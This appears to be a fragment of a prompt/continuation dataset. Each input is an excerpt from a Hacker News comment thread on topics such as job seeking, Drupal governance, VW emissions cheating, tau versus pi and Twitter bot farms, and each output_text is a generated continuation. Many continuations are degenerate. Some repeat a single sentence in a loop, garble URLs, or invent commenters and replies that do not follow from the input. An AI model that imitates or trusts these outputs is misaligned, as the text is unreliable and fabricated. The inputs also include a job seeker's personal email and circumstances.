_anywhere_ this way, and still have them get\ndeleted.\n\n2 Time granularity (though you could, I suppose, set up subdirectories in\n/tmp/ with associated hourly/daily/weekly/monthly cronjobs)\n\n------\nLai0chee\nIs there no at(1) on OSX?\n\n~~~\nalayne\nYes, you could queue an at job for every deletion. If you moved the file that\napproach would break. Also, you'd have to remove that at queue entry if you\nchanged your mind.\n\n \n\nGoogle to Launch Chrome Web Store and Chrome OS - Uncle_Sam\nhttp://googlesystem"} +{"output_text": "\u2019m willing to learn.\n\nI\u2019m a software engineer with a background in machine learning and data\nscience. I\u2019ve been working in the Bay Area for the past year, and have been\ndoing contract work for the past year. I\u2019m looking for a full-time position\nthat will allow me to focus on my own projects.\n\n------\njames_s_tayler\nLocation: San Francisco, CA\n\nRemote: Yes\n\nW", "input_text": " quickly, advance computer proficiency and training. Solid background in\nAgile Development and Remote settings supporting team needs. Flexible and\nhardworking team player focused on boosting efficiency and performance with\nconscientious and detail-oriented approaches. I am available to work remote\nfor a Junior role as a DevOps Engineer and also up for ReactNative Engineer\nRole.\n\nLocation: Lagos, Nigeria\n\nRemote: Yes\n\nWilling to relocate: Yes\n\nTechnologies: HTML, CSS, JavaScript, MySQL, Terraform, k8s, Docker, AWS, GCP,\nAZURE, Ansible, Gilab, Jenkins(more in Resume)\n\nResume:\n[https://drive.google.com/open?id=1K6Dv3sd5lGf7OeY3prjg9lOctM...](https://drive.google.com/open?id=1K6Dv3sd5lGf7OeY3prjg9lOctMXtQmgO)\n\nEmail: Adefemi171@gmail.com\n\n------\nharlanji\nLocation: San Francisco, CA\n\nRemote: willing.\n\nWilling to relocate: within CA.\n\nTechnologies: Clojure, Docker, Kubernetes, RasPi, JVM 8, NodeJS, AWS, GCP.\n\nResume: tailored to position. Samples on website.\n\nEmail: biz@harlanji.com\n\nHi HN. I\u2019ve been stuck homeless for almost 2 years. I\u2019m mentally sound and\nsober, but have no support network. They were mostly gone when I quit drinking\nand became vegetarian. I can\u2019t get through a Google-style interview right now,\nbut I"} +{"output_text": " conflict of interest\n-- but he's the only one who has the power to change it.\n\n~~~\njlgaddis\n> _My thesis is not that Crell 's behavior was acceptable. I know I don't have\n> the standing to opine on that._\n\nI don't think you do.\n\n> _My thesis is that Dries isn 't accountable for this conflict of interest\n> and the demands of running a venture-backed startup are", "input_text": "gain from making such a claim -- it's important to note he emphatically said\nNO.\n\n[https://www.reddit.com/r/drupal/comments/60y9mq/larry_garfie...](https://www.reddit.com/r/drupal/comments/60y9mq/larry_garfield_on_harassment_in_the_drupal_project/dfcg0n8/)\n\n~~~\nnetaustin\nI'm with you 100% here, yeah, and I agree entirely with the points made here\n[[https://subfictional.com/thoughts-on-recent-drupal-\ngovernanc...](https://subfictional.com/thoughts-on-recent-drupal-governance-\ndecisions/)]. But I don't think Dries has the credibility to act in the\ncommunity's best interest and also in the best interest of Acquia. As an\nofficer of Acquia he has a fiduciary responsibility; his responsibility to\nDrupal is purely ethical.\n\nI'd argue that Ryan can't really gain from making a claim that Dries is trying\nto damage his business, because then he's admitting that his business has been\ndamaged without any real recourse. But I do agree that he knows plenty that we\ndon't!\n\nMy thesis is not that Crell's behavior was acceptable. I know I don't have the\nstanding to opine on that. My thesis is that Dries isn't accountable for this\nconflict of interest and the demands of running a venture-backed startup are\nlargely at odds with the demands of running a community worthy of its code of\nconduct.\n\nOf course, Dries is not the only BDFL with this kind of a"} +{"output_text": " economy\" is a bad idea.\n\nThe assertion is \"growing the economy\" is a good idea.\n\nThe assertion is \"growing the economy\" is a bad idea.\n\nThe assertion is \"growing the economy\" is a good idea.\n\nThe assertion is \"growing the economy\" is a bad idea.\n\nThe assertion is \"growing the economy\" is a good idea.\n\nThe assertion is \"growing the economy\" is a bad idea.\n\nThe", "input_text": " the native timer (or a\nwatch, for that matter).\n\n------\nshadesandcolour\nI hope that their next feature is the ability to queue up a bunch of goals for\nthe day. Scheduling something for an hour from now is nice, but being able to\nsay \"I would like to do x,y and z today for this many minutes each\" would be a\nnice thing to have. As it stands right now this is pretty similar to the built\nin clock app.\n\n~~~\nc3\nthere's an app called Habit List (ios) that pretty much does that.\n\n------\nArtemis2\nNo Android app, no Windows Phone app. This is not an application suited for\nmodern smartphone world.\n\n~~~\nandr\nAs an app just launching it'd make sense to try product-market fit on one\nplatform before investing in all three.\n\n~~~\nnoahtkoch\nI don't know, he has a point, look at Instagram, Vine, and Clear. All very\nunsuccessful apps, all launched exclusively on iPhone first. /s\n\n~~~\ndpcx\nUsing the term \"unsuccessful\" with Instragram and Vine is a bit misleading,\nIMHO. Instagram got a rather large (even if undeserved) purchase, and Vine is\nhuge.\n\n~~~\nceejayoz\nI think that was the (sarcastic) point.\n\n \nWhy \u201cGrowing the Economy\u201d Doesn\u2019t Even Make Sense - mindstab\nhttps://medium.com/@girlziplocked/why-growing-the-economy-doesn-t-even-make-sense-c2a3900d8403#.wxul8jcxb\n======\nAnimalMuppet\nThe assertion is \"growing the"} +{"output_text": "\nor they were trying to keep the lid on it.\n\n~~~\njoshmoz\nI'm not sure why this is getting downvoted. I'm not saying VW is right, I'm\nsaying that the other car companies are probably not as innocent as they\nappear.\n\n~~~\njoshmoz\nI'm not sure why this is getting downvoted. I'm not saying VW is right, I'm\nsaying that the other car", "input_text": " approved? Or alternatively, everyone is cheating?\nBecause you can imagine a world where some firms cheat to get 10-20-30% less\nthan rated, so that they're in line with the industry.\n\nBut if VW's normal car is 40x worse than advertised, and most cars were close\nto the correct standard, wouldn't they just hire a guy who knew how to fix\ntheir cars? Did VW's internal testing test competitors' cars?\n\nIs this going to explode across the industry?\n\nAlso, this isn't the only kind of test that a car goes through. There's crash\ntests, MPG tests, and all sorts of things that I wouldn't know about. If you\ncan game an emissions test, you can game the crash test and the MPG test,\nwhich are probably both things people care about a fair bit more than\nemissions.\n\n~~~\njoshmoz\nWhen I was car shopping the VW diesel numbers, for tdi sportwagen in\nparticular, were impressive. Nothing else came close to VW's combination of\npower, space, and mileage. Now maybe there are people who know more about cars\nthan I do and can dispute that, but that was my perception a couple of years\nago.\n\nIf I were the other car companies, I'd want to know exactly how VW was pulling\nthat off. They must have looked into it, and surely they're not as easily\nmisled as I apparently was (how would I know if VW was outright lying about\nthe car?).\n\nThis suggests to me that the other car companies must have known that VW was\ndoing something wrong. The fact that they didn't rat VW out suggests to me\nthat they were either doing the same thing (maybe not as aggressively as VW)"} +{"output_text": " is not guaranteed, you will be\nattacked.\n\nThis is a very common misconception. The attacker doesn't need to be able to\nconnect to your machine to do a DoS. He just needs to be able to send a\nmessage to your machine.\n\n>You have to be able to send a message to your machine.\n\nNo, you don't. You can send a message to a machine that is not yours.\n\n>You have to be", "input_text": " attacks sufficiently hard\nto perform afterwards. If your username can be leaked within seconds, the\nattacker probably has access to perform more devastating attacks than a simple\nDoS.\n\n>You usually can't change your username, so you can not change that \"password\"\nto something the attacker doesn't know.\n\nYou might not be able to change your username online, but support can probably\nchange it.\n\n>You have it all backwards? The sensitive part is what is called the password.\nIf your username is sensitive, you are already doing it all wrong. Especially\nbecause, see above, you can change your password, you can not (usually,\neasily) change your username-pretending-to-be-your-password.\n\nYes, usernames are supposed to be identifiers only, but keeping it a secret\nfrom your enemies isn't particularly hard. Please explain how the attackers\nare getting a hold of your username in the first place.\n\n>You have heard of this thing called a bot net, right?\n\nHere's why you need to consider the threat model. If it's some guy out for the\nlulz, using a botnet incurs a cost (both in terms of actual risk in terms of\ndetection, and opportunity cost in terms of other things he could be using it\nfor eg. credit card fraud, DDoS for fire, etc.). And the guy is willing to\nexpend unlimited resources, then all bets are off. He could use amplification\nattacks to take down the bank's website by raw bandwidth alone. Worst case the\nbank mails/emails everyone new high entropy usernames.\n\n>Also, congrats, you have just introduced the next DoS risk: If you happen to\nuse an ISP where your IPv4 connectivity"} +{"output_text": " in\napplication code, you're wasting CPU cycles.\n\nOn a multi-app box, look to RAM. If you have a lot of apps, you're wasting\nRAM.\n\n~~~\nitsderek23\nI'm not sure I understand your point. I'm not saying that you should fill up\nRAM with processes. I'm saying that you should fill up RAM with processes\nwithout utilizing swap.\n\n~~~\njeremyw\nI'm saying that you", "input_text": "other solutions to similar problems and suggestions to improve my solution.\nThanks\n\n \n\nIn 2005 Creative beat Apple, whose side you took then? - atirip\nhttp://arstechnica.com/uncategorized/2006/08/7575/\n\n======\npan69\nWe took Apple's side since these sort of lawsuits are petty. It's the same\nreason we now take Samsung's side.\n\n~~~\nshimsham\noh look, the wind just changed direction...\n\n------\ny2kenny\nWhat was the patent? What are the prior art for Creative's patent?\n\n~~~\ncalciphus\nThe patent was on the nested menu style of media organization. So that\nfamiliar artist/album/genre drill-down UI that the original iPods had and made\nthem so famously usable.\n\nI don't know of any direct prior art, since apparently a slightly different\nform factor yields patent protection. If I recall, the Creative product was\nthe first to do this on a mobile device, however it was a familiar media\naccess technique for a number of players on computers, including Winamp.\n\n \n\nProduction Rails Tuning with Passenger: PassengerMaxProcesses - itsderek23\nhttp://blog.scoutapp.com/articles/2009/12/08/production-rails-tuning-with-passenger-passengermaxprocesses\n\n======\njeremyw\n_Generally speaking, you want to fill up as much RAM as possible with\npassenger processes without utilizing swap in order to maximize you\nperformance and throughput._\n\nUh, what?\n\nOn a single-app box with real traffic (as the article implies), look first to\nCPU. If your average request spends 50% time in db/services and 50%"} +{"output_text": "oda/2020/01/24/827370501/mystery-in-wuhan-recovered-coronavirus-patients-test-negative-then-positive\n======\nsarcasmatwork\nI'm not sure if this is a good thing or not.\n\n~~~\nsarcasmatwork\nI'm not sure if this is a good thing or not.\n\n------\nsarcasmatwork\nI'm not sure if this is", "input_text": " say the _exact_ same thing using tau and\nit's simpler:\n\nTau is a simple, straight line, and stretches the entire length of a circle,\nstarting from the x-axis in the positive x direction, and ending at the x-axis\nfrom the negative x direction. So Tau / 2 is the amount of turning needed to\ngo half-way around the circle. Tau / 4 is the amount of turning needed to go a\nforth of the way around the circle, IE. a right square.\n\nPi might seem easier or obvious to you because you've already been dealing\nwith it for years, but it still creates a situation that is more complex then\nit needs to be. Tau creates a simpler unit-circle, because Tau uses the\n_radius_, and we're talking about _radians_. Using something that's\ncalculated using the diameter, when you're talking about a unit that's\nmeasured in radius's is asking for a mess.\n\n------\ncplease\ne^(\u03c4i/2) = -1\n\nDidn't think so.\n\n~~~\nStefanKarpinski\nYes, which means \"a half turn around the unit circle in the complex plane is\n-1\". Try explaining that in words without saying \"half\" or something\nequivalent to it.\n\n~~~\ntomp\nOpposite of 1 on the unit circle in the complex plane is -1. Pi just means\n\"enough of a turn to get back to the straight line\".\n\n~~~\nstouset\nYou mean a vector in the opposite direction. Clear as mud.\n\n------\nbau5\nDo not want.\n\n \nMystery in Wuhan: recovered coronavirus patients test negative then positive - ceejayoz\nhttps://www.npr.org/sections/goatsands"} +{"output_text": ".\n\n------\njasonlbaptiste\nI'm a designer. I've been doing this for a while. I've been doing it for\nmyself, and for clients. I've been doing it for a while.\n\nI've been doing it for a while. I've been doing it for a while. I've been doing\nit for a while. I've been doing it for a while. I've been doing it for a while.\nI've been", "input_text": " skills. I am not a good\ndesigner. I know this because when I see good designs, I realize I NEVER could\nhave come up with that.\n\nIf you're a programmer, you should be able to nail the science half of the\nequation. As for the art half, I would just shamelessly rip cool things you\nfind when searching \"css inspiration\" or whatever [\"great artists steal\"].\n\nIt's easy to go overboard reading about UX and all the articles completely\nover-analyzing the topic. Unless your product is centered on revolutionary\ninterface like hipmunk, you're probably safe just using established\ninteraction patterns and getting feedback from \"normal people\".\n\nJust see if your non-techie friends can handle it. If so you probably have\nenough to launch. Most big sites were ugly at launch...\n\n------\nsynnik\nI work both sides of the coin. I have a degree in fine Arts, but have been a\nsoftware guy for many years.\n\nI put in an initial design when I make a HTML mock-up. I tweak it until I\nthink it is good, then start to code the actual functions.\n\nAs I work with it, within a few days, the constant usage and testing show me\nwhat is wrong with my design. I then often iterate, updating the design\nwhenever it starts to annoy me. At the start of the project, this is often\nonce a week. After a few revisions, I slow down, and by the time I've been\nworking with an app 6 months, it is fairly stable.\n\nIn terms of how you actually make your design, the KISS principle remains\nvalid. It is much easier to add small UI elements to make a page more\ninteresting than to scale back from an over-engineered design"} +{"output_text": "/ine/publicaciones/publicaciones-\nine/p...](http://www.ine.es/en/ine/publicaciones/publicaciones-\nine/publicaciones-ine-2016/publicaciones-ine-2016-2016-en-2016-en-\npublicaciones-ine-2016-2016-2016-2016-2016-2016-2016-2016-2016-2016-2016-2016-\n2016-2016-2016-2016-2016-2016-", "input_text": "service/en/displayFtu.html?ftuId=FTU_5.2.1.html)\n\nObjectives\n\nArticle 39 TFEU sets out the specific objectives of the CAP:\n\n1 to increase agricultural productivity by promoting technical progress and\nensuring the optimum use of the factors of production, in particular labour;\n\n2 to ensure a fair standard of living for farmers;\n\n3 to stabilise markets;\n\n4 to ensure the availability of supplies;\n\n5 to ensure reasonable prices for consumers.\n\n~~~\npatrickaljord\nI totally agree that we should get rid of the CAP. Not going to argue on this\none.\n\n------\nvonnik\nThe skills gap is very real in America, too. It can be hard to find the people\nyou need. And many of the folks who are out of work don't fit the bill. There\nare specific training programs, sponsored by large companies, that are trying\nto give post-high-school trainees the right vocational skills... (Can't\nremember the names atm!)\n\n------\nreledi\nThere's a lot of talented Spaniards out there. I know because I can proudly\nsay many of them are my teammates.\n\nDid I mention we are hiring? Clojure, Ruby, Data.\n\n[https://www.fundingcircle.com/uk/careers/](https://www.fundingcircle.com/uk/careers/)\n\n------\nAnimats\nThat's what the US has done. There are lots of available workers in the US\nwith non-salable skills.\n\n------\nforthefuture\nIt looks like Spain has almost reached the US' rate of economic non-\nparticipation.\n\n[http://www.ine.es/en"} +{"output_text": "[http://snowplowanalytics.com/about/jobs/](http://snowplowanalytics.com/about/jobs/)\n\n------\njason_slack\nSlack | San Francisco, CA | Full-time | Onsite\n\nSlack is hiring! We are looking for a few engineers to join our team.\n\nWe are looking for:\n\n* Senior Backend Engineer\n\n* Senior Frontend Engineer\n\n* Senior Full", "input_text": "\n-Machine Learning Engineers $120-200k plus equity -Lead Full-stack Developer $120-200k plus equity -Customer Success Manager $60-70k, plus bonus plan and equity\n\nPlease apply via [https://jobs.lever.co/solvvy](https://jobs.lever.co/solvvy)\nor send me an email: Jenna@solvvy.com\n\n------\nalexatkeplar\nSnowplow Analytics\n([http://snowplowanalytics.com](http://snowplowanalytics.com)) | Support\nEngineer | REMOTE UTC+8 to UTC+10\n\nHaving grown our team to two support engineers with a broad timezone reach\n(Alberta, Canada to Berlin, Germany), we are now looking to move to a full\n\u201cfollow the sun\u201d model, and hire our third support engineer in the UTC+8 to\nUTC+10 timezone range.\n\nThis is a support engineering role - not a support agent role. We are looking\nfor candidates who can learn, troubleshoot and explain the many complex\ntechnical systems that make up the Snowplow offering. You will be supporting\nthe Snowplow Managed Service, under which we orchestrate and monitor the\nSnowplow event pipeline for over 100 customers.\n\nThe support that we provide to our customers is a core part of the Managed\nService offering, and we strive to provide the best technical support of any\nanalytics vendor.\n\nYou'll find more information here:\n[http://snowplowanalytics.com/about/jobs/support-\nengineer/](http://snowplowanalytics.com/about/jobs/support-engineer/)\n\nFor the rest of our open positions see:\n"} +{"output_text": ".\n\nI think the problem is that the Olympics are a 'one size fits all' event.\nThere is no way to 'customize' the experience to your liking.\n\n~~~\nNwallins\nI think you're right. I think the solution is to have a few different\nbroadcasters, each with their own channel, and a few different packages.\n\n------\njoshu\nI'm not sure I understand the point of this.\n\nThe Olympics", "input_text": "\nUmm, I don't have cable. If I had cable I wouldn't be watching TV on my\ncomputer.\n\n------\nNwallins\nI would really like to see a free market in Olympics coverage, rather than the\nmonopoly we are stuck with. I don't understand why we don't have as many\nchannels with live coverage as there are simultaneous events. I would think\nthat the Olympics group could make more money auctioning off each event's\ncoverage rights freely, rather than negotiating for a huge payoff (per region)\nfrom a single huge network.\n\nIt would certainly increase viewership and the customer experience. Having to\nwatch a very limited set of events on tape delay, subject to some editorially\nmilquetoast attempt at appeal to the lowest common denominator, is a\ndisturbingly negligent delivery of quality goods.\n\nImproving the experience should pay off in spades in the long run, even if I'm\ntoo optimistic in my analysis so far. Produce something valuable for your\ncustomers. The current Olympics TV experience is a joke: Despite my love for\nwinter sports, I am not engaged. I watched _SNL's Best of Chris Farley_ last\nnight on Netflix.\n\n~~~\npedalpete\nI wouldn't be surprised if this was the last Olympics without web broadcasts,\nbut as far as auctioning off each event individually, I think that would be a\n'usability' nightmare for fans. Now, it is pretty simple. I want to see\nOlympics, go to NBC. In Canada we have about 5 channels that have the Olympics\nthis year (maybe it's just in BC), and it is actually a bit annoying to have\nto figure out what channel is covering which events. In the past it has always\nbeen CBC I believe"} +{"output_text": " it?\n\n~~~\nsharemywin\nI'm going to start a business.\n\n------\npvsukale1\nI'm a programmer and I'm working on a startup. I'm looking for a co-founder.\nIf you are interested, please contact me.\n\n------\npvsukale1\nI'm a programmer and I'm working on a startup. I'm looking for a co-founder.\nIf you are interested, please contact me.", "input_text": "://www.bogleheads.org/wiki/Lazy_portfolios)\n\n------\nnoir_lord\nDon't take your health or general physical condition for granted.\n\nIt's _a lot_ harder to get back in shape than stay in shape.\n\n~~~\npvsukale1\nsure will keep that in mind!! ;)\n\n------\nMalcolmDiggs\nWork less. Smile more. :)\n\nSeriously, this is one of the best times of your life...unless you take a job\nthat squeezes every bit of energy and life out of you. Achieving work-life\nbalance early in your career will make this profession sustainable for you in\nthe long run; so I'd focus on that.\n\nBeyond that: do whatever jobs interest you at the time, live on less than you\nmake, and don't forget to backup your work.\n\n~~~\npvsukale1\n:) thanks. I just want to ask.. work-life balance is it important in your\n20's?\n\n~~~\nMalcolmDiggs\nLife is important in your 20s. If you max-out the time you're working, you'll\nmiss some of the best parts of life. You're only young once.\n\n------\nsharemywin\nentrepreneurship is about sales. Even the SV hype machine is doing a major\nsales job on people. If you don't like to sell or know some one that does that\nyou like to work with. Find a hobby you'll be happier.\n\n~~~\npvsukale1\nok ;)\n\n~~~\nsharemywin\nI've built several sites/businesses that if I could sell I would be a\nmillionaire.\n\n~~~\npvsukale1\nwhat you gonna do about"} +{"output_text": " the pieces around.\n\nBoard games are different. You know the rules. You know why a fireball deals\n23 damage. You know why your city suffers an epidemic. You know why a\nfireball deals 23 damage. You know why your city suffers an epidemic. You know\nwhy a fireball deals 23 damage. You know why your city suffers an epidemic.\nYou know why a fireball deals 23 damage. You know why your city suffers an\nepidemic. You", "input_text": "\nfloody-berry\nIn their defense, T:V was mostly Thrax' doing and Irrational were just an\nunfortunate contractor. Even still, they did butcher just about every mechanic\nin the game.\n\n------\nb0rsuk\nI realize I'm promoting board games to the wrong people - to people who've\nalready been trained to expect the same things from 'games' as from movies -\nbut you should take a closer look at board games.\n\nOutside of computer/console 'game' industry, games are rules. You distinguish\ntwo games by their rules. \"How do you play it?\" is the question you need to\nask. In video 'game' world, \"game\" has become an umbrella term for: \\-\nstories, \\- simulations, \\- puzzles, \\- actual multiplayer games, \\-\nplaygrounds/toys (Minecraft, MMO...)\n\nBasically any interactive software that is used for entertainment is called a\ngame these days. I guess vlc also meets the criteria, after all you can use it\nto watch porn.\n\nThere's a parallel between Test Driven Development and board games. Today,\ncomputer games have become so complex and have so many moving parts that they\nhave more in common with simulations than board games they largely came from.\nThis is because you no longer understand all or even most of its RULES.\nComputer is kind enough to calculate everything for you. You don't know why a\nfireball deals 23 damage or why your city suffers an epidemic. It could be\nbecause it's scripted that way, because something gives it a +20% bonus (added\nbefore or after X? Is it actually +20% or * 1.2? Wording is ofter\nambiguous). The player is only expected to move"} +{"output_text": "that it's a language which can be used to write programs in many different\nways.\n\n~~~\ncomatose_kid\nI agree with you. I think that the problem is that people are trying to\nprogram in a single language, and that's not the best way to do it.\n\nI think that the best way to program is to use a language which is optimized\nfor the problem you are trying to solve.\n\n~~~\nstcredzero\n_I", "input_text": "\nas complexity arising from a large number of lines of code can be dramatically\nreduced. Many APL advocates and practitioners view programming in standard\nprogramming languages, such as COBOL and Java, as comparatively tedious.\"\n\n~~~\nbayareaguy\nKen Iverson's Turing Award lecture, \"Notation as a Tool of Thought\" should be\ninteresting to you and others here, particularly those who subscribe to the\n\"implementation as specification\" idea.\n\n\n\nSome of the ancedotes here are good too:\n\n\n\n~~~\ncomatose_kid\nThanks for the links. I especially liked the following observation:\n\n\"During the APL75 conference in Pisa Ken visited the Leaning Tower. He\npronounced it the first software project -- late and overbudget, and from\nearly on everyone could see that it was going to be a disaster, but by then\nthe project was too far along and there was nothing to do but plow ahead.\"\n\n------\nstcredzero\nIf programming languages are for making programming easier, then it's clearly\na mistake to use just one language to write programs. Different languages are\noptimal for different areas of concern. Rob Pike spent 6 months writing a\nlanguage optimized for concurrency, then wrote an entire windowing system in\njust 300 lines. If a programming language is a tool, then people have been\nadvocating doing everything with a hammer. What if we had a way of combining\nmany different languages, so that each area of concern could be written in the\nlanguage which is optimal for it? I think one of the strengths of Lisp, is\n"} +{"output_text": "\n------\njason_slack\nI think this is a good thing. I think it is a good thing that the company\ndoesn't have to reinvent the wheel every time.\n\nI think it is a good thing that the company can focus on the core business\nand not have to worry about the technical details.\n\nI think it is a good thing that the company can focus on the core business and\nnot have to worry about the technical details.\n\nI", "input_text": " the company immensely as it can now\nhire top 1-2% who are extremely good at making these frameworks or guard-rails\nand the rest can be lesser quality devs who will do the plumbing. An example:\nwriting multi-threaded programs and reasoning about them is hard so why not\nmake a framework which takes care that developers only write business logic\nand integrate with various APIs.\n\nThis is now true in most companies now as Open source projects are doing the\nsame thing. Look at Apache Spark for example which makes writing distributed\nprograms for Machine Learning, ETL and Analytics much easier for developers.\n\n------\ncimmanom\nThere's an argument to be made that that's a sign of an engineering\norganization that has its priorities straight and is serving the business\nwell.\n\n------\nCM30\nSometimes, though I suspect in a lot of cases that's probably for the best. I\nmean, if a product or service exists and does what you need it to, isn't it\nbetter to take advantage of that rather than reinvent the wheel every time?\nSure, you could create your own inhouse CMS for those client websites or what\nnot, but it's likely not worth it given the effort of making your updates,\nfixing security holes, etc. Same with anything really. You could in theory try\nand go all the way back to the start on your own, but where does it end?\nEventually you'll be doing ten times more work for little extra benefit.\n\nAre there examples where doing the extra work could be better? Of course, I\nknow that one from experience. All that time trying to integrate a CMS and a\nforum script and a bunch of other standalone things was a nightmare, and in\nthat case I definitely wish I'd just rolled the whole thing myself instead.\n"} +{"output_text": " all the craziness in the theistic religions which cause\npeople to do worse things than coordinating over silly ideas.\"\n\nI'm not sure what you mean by 'theistic religions'.\n\n\"I wouldn't condone all the \"craziness\" but I can't generalize and denigrate\nit either.\"\n\nI'm not sure what you mean by 'denigrate'.\n\n\"This craziness, as you may see, represents a lot of creativity", "input_text": " killed. In that case you could just as\neasily rail against ideologues.\n\n>and that is the psychology of people who are willing to believe truly crazy\nstuff\n\nMaybe they see all the craziness in the world and only become a reflection or\namplification of it. We can't also forget all the craziness in the theistic\nreligions which cause people to do worse things than coordinating over silly\nideas. I wouldn't condone all the \"craziness\" but I can't generalize and\ndenigrate it either. This craziness, as you may see, represents a lot of\ncreativeness and originality that you can find in man and many good things\ncome from it, both productive and what you might see as non-productive. And if\nit's the \"meaningless\" fun they're having at harmless conventions, it isn't\nmeaningless if it's fun. Fun has meaning in giving people reprieve from\nstressors, which ultimately helps us be more productive. And if not, oh well.\nYou wind up with people who've just enjoyed themselves for apparently nothing.\nWe could get deep into existential philosophy if you like but I think you get\nthe point. You can look at many things as shallow but often, like with\neverything in the world, there is more to it than what's on the surface and\nmore meaning in it than you may see. Because you don't see meaning in\nsomething doesn't mean it's not there.\n\n~~~\njariel\nThe intellectual hoops you're leaping through to try and justify a normal\ncomment as 'propaganda' not only don't help your case - they only serve to\npossibly validate that your very own response is is a form of propaganda\nitself.\n\n\"We can't also forget"} +{"output_text": " that a lot?\n\n~~~\nMichaelGG\nIt's a lot if you're a botnet operator.\n\n------\njoshstrange\nI'm not sure how I feel about this. On one hand, I'm glad that Twitter is\ndoing something about this but on the other hand I'm not sure how much of a\nproblem this really is. I'm not sure how many of these accounts are actually\nactive and how many are just bots.\n\n~~~", "input_text": ", but I have no idea what it might be.\n\n------\nKrasnol\n> The next challenger to Twitter will not be another centralized platform like\n> Gab. It will be decentralized \u2013 perhaps a federation like Mastodon, where\n> each node runs its own CoC and community standards \u2013 similar to IRC days.\n\nYou might want to ask Wil Wheaton what he thinks about Mastodon...\n\n~~~\nmmirate\nWhy is some random actor's opinion unusually important, let alone on a\ntechnical topic such as this?\n\n~~~\nKrasnol\nBecause what happened to him is relevant to the topic.\n\n \nWe have bought followers fo $5 and discovered 15M botnet on Twitter - investjtravolta\nhttp://sadbottrue.com/article/15/\n======\nMichaelGG\n15M is nearly 5% of Twitter's active users, or all the growth they've had in\n2015. Assuming these bots are \"active\".\n\n~~~\nmarak830\nIf it's true, I wonder what effect it will have on the value of Twitter(I do\nassume this isn't the only one).\n\nIf it turns out half the use base is made out of bots or non-active registered\nusers that is.\n\n------\nDougN7\nBesides these 'obvious' bots, there are more that have humans in control, but\nwhich the humans never read tweets, they just post them. I would bet, though\nhave no data, that there is a large percentage of these 'post-only' accounts.\nNot sure if they should be called bots or not...\n\n------\nimaginenore\n$1M from 15M fake accounts is rather low.\n\n6.67 cents per account.\n\nIsn't"} +{"output_text": "~~~\nrifung\nI agree with you that it's not always a good idea to be the only person\nhandling a certain task.\n\nHowever, I think it's also important to recognize that there are times when\nyou need to be the only person handling a certain task. For example, if you\nare the only person who can do the work, you need to be the one to do it.\n\nI think it's also important to recognize that there are times when you", "input_text": " decided to publish it\n(and programmatically keep it updated so it's always right - spreadsheets are\ntiresome to maintain!)\n\n \n\nThe Hidden Co-Founder - remyt\nhttp://techcrunch.com/2015/03/05/the-hidden-co-founder/\n\n======\nrifung\nIt's fascinating that some founders will always post things like this, \"I\ndon\u2019t think true work/life balance is possible in the day-to-day reality of\nstartups\" and yet others say that there's really no need to sacrifice work\nlife balance even at a start up, and that if you are working yourself to\ndeath, you aren't working smart.\n\nI suppose there's not necessarily a right answer.\n\n~~~\nonion2k\nPeople who say it isn't possible to maintain a work/life balance in a startup\nare usually those who find it hard to delegate - they don't have people around\nthem that they trust to do as good a job of something as they do themselves so\nthey refuse to hand responsibility to other people or accept that they aren't\nthe best person for the job.\n\nIn a small startup that's fine because there aren't that many things to do. A\nfounder _can_ be the developer, support, strategist, and marketer all at once.\nArguably it's even a good thing at that stage because it keeps the burn rate\ndown. The problems arise when there's too much growth for the jobs to be all\nbe done, or even just overseen, by a founder. Then they struggle and start to\nhold the business back.\n\nA good founder is always be looking for people who are _better_ than they are\nto hand things over to. That's how a business succeeds.\n\n"} +{"output_text": "~~~\ndang\nI don't know, but I'm curious about it too.\n\n------\nm0zg\nI'm not sure why this is news. The US has been doing this for decades.\n\n~~~\nm0zg\nI'm not sure why this is news. The US has been doing this for decades.\n\n------\nm0zg\nI'm not sure why this is news. The US has been doing this for decades.\n\n------\n", "input_text": " Typically ex-\nmilitary, they have to pass a background check and are cleared to work in\npublic spaces. When cleaning secure areas, they're escorted and watched.\n\n~~~\nttul\nAnd the people escorting and watching them are also escorted and watched. And\ntheir families are interviewed. Etc... It's a huge undertaking.\n\n------\nHokusai\n> to the considerable irritation of those who had kept it under wraps for\n> decades\n\nOn one side, so much secrecy worries me. On the other side kudos for keeping\nthe secret pact secret for so long.\n\n------\nl1ghthouse\n[http://archive.is/zmTgX](http://archive.is/zmTgX)\n\n------\nselimthegrim\nThey let the Turkish Army into NATO and hold nukes and it reuses OTPs?\n\n~~~\nnabla9\nThey don't let Turkish Army hold nukes.\n\nThey are just located in Turkey. Turkish Air force practises the delivery so\nthat they can do it if necessary.\n\n~~~\njacobush\nYeah, however there was talk that getting the nukes _out_ of Turkey would not\nbe easy, especially if Turkey would not cooperate.\n\n------\nwooptoo\nSans paywall [https://outline.com/VKPeR4](https://outline.com/VKPeR4)\n\n------\nneonate\n[https://archive.md/FMsZM](https://archive.md/FMsZM)\n\n------\nHarvesterify\nCan somebody explain why The Register and The Economist suddenly pick up the\nsubject, while the original article from Jacobs was published a few months\nago, and several newspaper already covered the topic?\n\n"} +{"output_text": " fit.\n\n------\njoeclark77\nI've been interviewing for a while now, and I've noticed that the interviewers\nare very careful to avoid any hint of a \"red flag\" that might indicate\nsomething is wrong.\n\nI've been interviewing for a while now, and I've noticed that the interviewers\nare very careful to avoid any hint of a \"red flag\" that might indicate\nsomething is wrong.\n\nI've been interviewing for a", "input_text": " which was a lie, since I walked around and\nasked. So no clue of the right lesson for that one. Sometimes you just end up\nwith a bad company despite doing everything right.\n\n~~~\ntheworstshill\nWhat a shithole. Hope you got out there with some sanity left.\n\n------\nxupybd\nThere are some simple interview tips in the video below, I'd say if you get\nthese down you'll have nothing to worry about.\n\n[https://www.youtube.com/watch?v=38cUwnkoDxk](https://www.youtube.com/watch?v=38cUwnkoDxk)\n\n------\ndbcurtis\nLook out for a paranoid culture. It should be easy to detect. When you ask\nquestions, are there places people just won't go with their answers? Do you\nget deflective answers? Are there people who don't seem to want to talk to\neach other?\n\n------\nthefastlane\ni once got through the entire interview process (salary negotation etc etc)\ninteracting with the person i thought would be my boss. i specifically wanted\nto the job because i liked this person. but when i received the offer letter,\ni discovered that someone else would be my supervisor -- it definitely caught\nme offguard. and turns out it ended up being the worst job i'd ever had. i\nwouldn't call the supervisor bait-n-switch a red flag, but now i'm now\nhyperattentive to even the tiniest of hiccups during hiring. surprises during\nthe interview process can equal surprises on the job as well.\n\n------\nAbdirahman\nWell I'm looking for a cofounder now so perhaps you'd be a nice"} +{"output_text": " but\nthey were very helpful.\n\n~~~\njrockway\nI have a printer that has a \"printer cartridge\" slot. I bought a cartridge\nfrom Amazon, and it works fine.\n\nI have a printer that has a \"printer cartridge\" slot. I bought a cartridge\nfrom Amazon, and it doesn't work.\n\nI have a 